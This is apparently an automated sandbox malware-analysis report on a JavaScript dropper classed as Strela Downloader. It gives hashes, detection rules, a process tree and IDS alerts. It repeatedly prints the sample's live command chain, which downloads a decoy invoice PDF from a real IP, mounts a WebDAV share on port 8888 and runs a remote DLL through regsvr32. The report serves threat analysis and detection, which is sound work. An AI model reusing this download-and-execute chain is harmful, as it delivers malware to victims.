Edit tour

Windows Analysis Report
23742400475728052.js

Overview

General Information

Sample name:	23742400475728052.js
Analysis ID:	1588948
MD5:	af30d1a974dbc4186ae38347d3c8e04c
SHA1:	ad028505572d066401b56cada9275e76b252ac7b
SHA256:	070cd13345202f145af9972bee5ace73025f41a4f1dbef313fbd7f1c4b4aac97
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 8004 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23742400475728052.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 8096 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8148 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7548 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2272 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 372 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1748,i,16244034270868904288,8231150956397656860,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 1384 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5904 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1468 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 8004	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8096, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8148, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8096, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8148, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23742400475728052.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23742400475728052.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23742400475728052.js", ProcessId: 8004, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5904, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49737

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23742400475728052.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8004, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll, ProcessId: 8096, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23742400475728052.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8004, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll, ProcessId: 8096, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23742400475728052.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8004, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll, ProcessId: 8096, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23742400475728052.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8004, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll, ProcessId: 8096, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23742400475728052.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8004, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll, ProcessId: 8096, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23742400475728052.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23742400475728052.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23742400475728052.js", ProcessId: 8004, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8096, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8148, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1384, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5904, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1468, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1384, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5904, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23742400475728052.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8004, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\22275240026669.dll, ProcessId: 8096, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:31:28.845572+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.10	49720	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:31:31.529038+0100	1810005	1	Potentially Bad Traffic	192.168.2.10	49737	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:31:28.845572+0100	1810000	2	Potentially Bad Traffic	192.168.2.10	49720	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 23742400475728052.js

Virustotal: Detection: 13%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 23742400475728052.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 23742400475728052.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.10:49737 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.10:49720 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:31:28 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 8888
